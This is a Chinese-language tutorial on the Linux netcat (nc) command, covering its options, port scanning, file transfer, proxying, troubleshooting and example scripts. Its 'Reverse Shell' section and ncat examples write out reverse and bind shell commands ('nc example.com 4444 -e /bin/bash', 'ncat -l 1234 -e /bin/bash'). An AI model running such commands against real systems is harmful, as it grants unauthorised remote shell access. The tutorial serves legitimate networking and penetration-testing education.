nc 命令(netcat 的简称)是 Linux 中功能强大的网络工具,被称为"网络瑞士军刀"。它可以用于 TCP/UDP 连接、端口扫描、文件传输、网络调试、端口监听等多种网络操作。
📖 基本语法
bash
nc [选项] [主机名] [端口]
重要特性:
- 支持 TCP 和 UDP 协议
- 可以作为客户端或服务器
- 支持端口扫描和网络测试
- 支持文件传输
- 支持网络调试和代理功能
🎯 常用选项
| 选项 | 说明 |
|---|---|
-4 |
强制使用 IPv4 地址。 |
-6 |
强制使用 IPv6 地址。 |
-l |
监听模式,用于入站连接。 |
-p <端口> |
指定本地端口(监听模式时)。 |
-s <地址> |
指定本地源地址。 |
-u |
使用 UDP 协议(默认是 TCP)。 |
-v |
详细输出(显示连接信息)。 |
-w <秒> |
设置连接超时时间。 |
-z |
零 I/O 模式(扫描端口时使用)。 |
-n |
直接使用 IP 地址,不进行 DNS 解析。 |
-k |
在监听模式下,接受多个连接(需与 -l 一起使用)。 |
-e <程序> |
连接后执行指定的程序(危险,常用于反弹 shell)。 |
-C |
发送 CRLF 作为行结束符(用于与某些协议兼容)。 |
-X <协议> |
使用代理协议(4: SOCKS4, 5: SOCKS5)。 |
-x <地址:端口> |
代理服务器地址和端口。 |
💡 核心用法示例
1. 端口扫描
bash
# 扫描单个端口(TCP)
nc -zv example.com 80
# 扫描多个端口
nc -zv example.com 80 443 8080
# 扫描端口范围
nc -zv example.com 20-80
# 使用 UDP 扫描
nc -zvu example.com 53
# 快速扫描常用端口
for port in {1..1024}; do
nc -zv example.com $port 2>/dev/null && echo "端口 $port 开放"
done
2. 监听端口(服务器模式)
bash
# 监听 TCP 端口(单连接)
nc -l 1234
# 监听 UDP 端口
nc -lu 1234
# 监听端口并保持多个连接
nc -lk 1234
# 监听端口并将输出保存到文件
nc -l 1234 > received_file.txt
# 监听端口并显示客户端信息
nc -v -l 1234
# 监听端口并记录连接日志
nc -v -l 1234 2>&1 | tee connection.log
3. 连接远程主机(客户端模式)
bash
# 连接远程 TCP 端口
nc example.com 80
# 连接远程 UDP 端口
nc -u example.com 53
# 连接远程端口并发送数据
echo "Hello" | nc example.com 80
# 连接远程端口并交互
nc example.com 80
# 连接远程端口并发送文件内容
cat file.txt | nc example.com 80
# 连接远程端口并设置超时
nc -w 5 example.com 80
4. 文件传输
bash
# 接收方监听端口,并将数据保存到文件
nc -l 1234 > file_received.txt
# 发送方连接接收方,并发送文件
nc example.com 1234 < file_to_send.txt
# 使用 tar 压缩后传输
# 接收方
nc -l 1234 | tar xzvf -
# 发送方
tar czvf - directory/ | nc example.com 1234
# 传输整个目录结构
# 接收方
nc -l 1234 | tar xzf -
# 发送方
tar czf - . | nc example.com 1234
# 传输大文件并显示进度
# 接收方
nc -l 1234 | pv > largefile.iso
# 发送方
pv largefile.iso | nc example.com 1234
5. 网络调试和测试
bash
# 测试远程端口是否开放
nc -zv example.com 80
# 手动发送 HTTP 请求
nc example.com 80
GET / HTTP/1.1
Host: example.com
# 创建简单的聊天服务器
# 服务器端
nc -l 1234
# 客户端
nc example.com 1234
# 测试 SMTP 服务器
nc -C example.com 25
HELO example.com
MAIL FROM: <sender@example.com>
RCPT TO: <recipient@example.com>
DATA
Subject: Test
This is a test email.
.
QUIT
# 测试数据库连接
nc -zv mysql.example.com 3306
6. 反向 Shell
bash
# 攻击机监听
nc -lv 4444
# 目标机连接(假设目标机有 nc)
nc example.com 4444 -e /bin/bash
# 使用其他 shell
nc example.com 4444 -e /bin/sh
nc example.com 4444 -e /bin/zsh
# 注意:反向 shell 常用于渗透测试,但也可被恶意使用,请确保在合法环境下使用。
7. 端口转发
bash
# 将本地端口转发到远程主机
nc -l 1234 | nc example.com 80
# 使用命名管道进行双向转发
mkfifo /tmp/fifo
nc -l 1234 < /tmp/fifo | nc example.com 80 > /tmp/fifo
# 简单的 TCP 代理
while true; do
nc -l 1234 | nc example.com 80
done
🔧 高级用法
1. 使用代理
bash
# 通过 SOCKS5 代理连接
nc -x socks5://proxy.example.com:1080 example.com 80
# 通过 HTTP 代理(需要支持 CONNECT 方法)
nc -X connect -x proxy.example.com:8080 example.com 80
# 通过 SOCKS4 代理
nc -X 4 -x proxy.example.com:1080 example.com 80
2. 设置超时
bash
# 设置连接超时为 5 秒
nc -w 5 example.com 80
# 设置监听超时
nc -l -w 30 1234
# 无超时(一直等待)
nc -w 0 example.com 80
3. 指定源地址和端口
bash
# 指定源地址和端口进行连接
nc -s 192.168.1.100 -p 54321 example.com 80
# 监听特定地址的端口
nc -l -s 192.168.1.100 1234
4. 持续监听并处理多个连接
bash
# 使用循环处理多个连接
while true; do
nc -l 1234 -c 'echo "Hello from nc"'
done
# 或者使用 -k 选项(如果 nc 版本支持)
nc -k -l 1234
# 使用 xinetd 或 systemd 管理持久服务
⚠️ 安全注意事项
- nc 命令的
-e选项 :许多 nc 版本(如 OpenBSD 的 nc)默认不支持-e选项,因为安全原因。如果需要此功能,可能需要使用其他版本(如 ncat 或 netcat-traditional)。 - 防火墙和权限:监听端口需要相应的权限(root 用户可以监听 1024 以下端口),并且防火墙可能阻止连接。
- 信息泄露:使用 nc 传输数据时不加密,敏感信息可能被窃听。
- 反弹 shell 风险 :
-e选项可以用于创建反弹 shell,这可能被恶意使用。
📌 常见用例
1. 快速 Web 服务器
bash
# 创建一个简单的 Web 服务器,返回 Hello World
while true; do
echo -e "HTTP/1.1 200 OK\n\nHello World" | nc -l 8080
done
# 更复杂的 Web 服务器
while true; do
nc -l 8080 <<EOF
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<body>
<h1>Hello from nc!</h1>
<p>Time: $(date)</p>
</body>
</html>
EOF
done
2. 网络诊断
bash
# 检查远程主机的端口开放情况
nc -zv example.com 22 80 443
# 测试邮件服务器
nc -C -v smtp.example.com 25
# 测试数据库端口
nc -zv mysql.example.com 3306
# 测试 DNS 服务器
nc -zu 8.8.8.8 53
3. 数据传输
bash
# 传输目录
# 接收方
nc -l 1234 | tar xzvf -
# 发送方
tar czvf - /path/to/directory | nc example.com 1234
# 传输大文件
# 接收方
nc -l 1234 > largefile.iso
# 发送方
nc example.com 1234 < largefile.iso
# 使用压缩传输
# 接收方
nc -l 1234 | gunzip > file.txt
# 发送方
gzip -c file.txt | nc example.com 1234
4. 网络代理
bash
# 简单的 TCP 代理
mkfifo /tmp/fifo
nc -l 1234 < /tmp/fifo | nc example.com 80 > /tmp/fifo
# 带日志的代理
while true; do
nc -v -l 1234 2>&1 | tee -a proxy.log | nc example.com 80 2>&1 | tee -a proxy.log
done
🔄 nc 的不同版本
- netcat-traditional :原始的 nc 版本,支持
-e选项。 - netcat-openbsd :OpenBSD 版本的 nc,不支持
-e选项,但支持-c选项执行命令。 - ncat:Nmap 项目的一部分,功能更强大,支持 SSL、代理等。
- socat:更强大的工具,可以看作是 nc 的增强版。
安装不同版本
bash
# Debian/Ubuntu
sudo apt update
sudo apt install netcat # netcat-traditional
sudo apt install netcat-openbsd
sudo apt install nmap # 包含 ncat
# CentOS/RHEL
sudo yum install nc # nmap-ncat
sudo yum install nmap-ncat
# macOS
brew install netcat
brew install nmap # 包含 ncat
ncat 示例
bash
# 使用 SSL 加密连接
ncat --ssl example.com 443
# 创建 SSL 服务器
ncat -l --ssl 1234
# 使用代理
ncat --proxy-type http --proxy proxy.example.com:8080 example.com 80
# 执行命令
ncat -l 1234 -e /bin/bash
🛠️ 故障排除
1. 连接被拒绝
bash
# 检查目标端口是否开放
nc -zv example.com 80
# 检查本地防火墙
sudo iptables -L
sudo firewall-cmd --list-all
# 检查目标防火墙
# 可能需要联系目标服务器管理员
# 检查服务是否在运行
sudo netstat -tlnp | grep :80
sudo ss -tlnp | grep :80
2. 无法监听端口
bash
# 检查端口是否被占用
sudo netstat -tlnp | grep :1234
sudo lsof -i :1234
# 检查权限(1024 以下端口需要 root)
sudo nc -l 80
# 检查防火墙设置
sudo iptables -L
sudo firewall-cmd --list-all
# 检查 SELinux(如果启用)
getenforce
sudo setenforce 0 # 临时禁用(仅用于测试)
3. 数据传输中断
bash
# 使用无超时模式
nc -w 0 example.com 80
# 检查网络稳定性
ping example.com
traceroute example.com
# 使用 tar 压缩并显示进度
tar czvf - directory/ | pv | nc example.com 1234
# 使用 dd 显示进度
dd if=largefile.iso bs=1M | nc example.com 1234
4. 版本兼容性问题
bash
# 检查 nc 版本
nc -h
nc -v
# 不同版本的选项可能不同
# 传统版本
nc.traditional -h
# OpenBSD 版本
nc.openbsd -h
# ncat 版本
ncat -h
📚 实用脚本
1. 端口扫描脚本
bash
#!/bin/bash
# 简单的端口扫描器
HOST="$1"
START_PORT="$2"
END_PORT="$3"
if [[ -z "$HOST" || -z "$START_PORT" || -z "$END_PORT" ]]; then
echo "用法: $0 <主机> <起始端口> <结束端口>"
exit 1
fi
echo "扫描 $HOST 的端口 $START_PORT-$END_PORT..."
echo "======================================"
for port in $(seq "$START_PORT" "$END_PORT"); do
# 使用 -z 选项进行零 I/O 扫描,-w 设置超时
nc -z -w 1 "$HOST" "$port" > /dev/null 2>&1
if [[ $? -eq 0 ]]; then
echo "端口 $port: 开放"
# 尝试获取服务横幅
service_info=$(echo "" | nc -w 2 "$HOST" "$port" 2>/dev/null | head -1)
if [[ -n "$service_info" ]]; then
echo " 服务: $service_info"
fi
fi
done
echo "扫描完成"
2. 简单的聊天服务器
bash
#!/bin/bash
# 简单的聊天服务器
PORT="${1:-1234}"
LOG_FILE="/tmp/chat_$(date +%Y%m%d_%H%M%S).log"
echo "启动聊天服务器在端口 $PORT"
echo "日志文件: $LOG_FILE"
echo "按 Ctrl+C 停止"
# 使用命名管道处理多个客户端
PIPE="/tmp/chat_pipe_$$"
mkfifo "$PIPE"
# 清理函数
cleanup() {
echo -e "\n停止服务器..."
rm -f "$PIPE"
exit 0
}
trap cleanup INT TERM
# 主循环
while true; do
# 监听连接
nc -l "$PORT" < "$PIPE" | tee -a "$LOG_FILE" | \
while read -r line; do
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $line" | tee -a "$LOG_FILE"
echo "收到: $line"
done > "$PIPE"
done
3. 网络监控脚本
bash
#!/bin/bash
# 监控网络服务状态
SERVICES=(
"web:example.com:80"
"ssh:example.com:22"
"dns:8.8.8.8:53:udp"
"database:mysql.example.com:3306"
)
INTERVAL=60 # 检查间隔(秒)
LOG_FILE="/var/log/service_monitor.log"
echo "开始监控服务..." | tee -a "$LOG_FILE"
echo "检查间隔: ${INTERVAL}秒" | tee -a "$LOG_FILE"
echo "日志文件: $LOG_FILE" | tee -a "$LOG_FILE"
echo "按 Ctrl+C 停止" | tee -a "$LOG_FILE"
while true; do
TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')
echo "=== 检查时间: $TIMESTAMP ===" | tee -a "$LOG_FILE"
for service in "${SERVICES[@]}"; do
IFS=':' read -r name host port protocol <<< "$service"
if [[ "$protocol" == "udp" ]]; then
nc_cmd="nc -zu -w 2"
else
nc_cmd="nc -z -w 2"
fi
if $nc_cmd "$host" "$port" > /dev/null 2>&1; then
status="✓ 正常"
else
status="✗ 异常"
fi
echo "$name ($host:$port/$protocol): $status" | tee -a "$LOG_FILE"
done
echo | tee -a "$LOG_FILE"
sleep "$INTERVAL"
done
nc 是一个非常灵活的网络工具,可以用于各种网络操作。虽然功能强大,但使用时需要注意安全,特别是在开放端口和执行命令时。对于更复杂的网络任务,可能需要使用更专业的工具如 ncat、socat 等。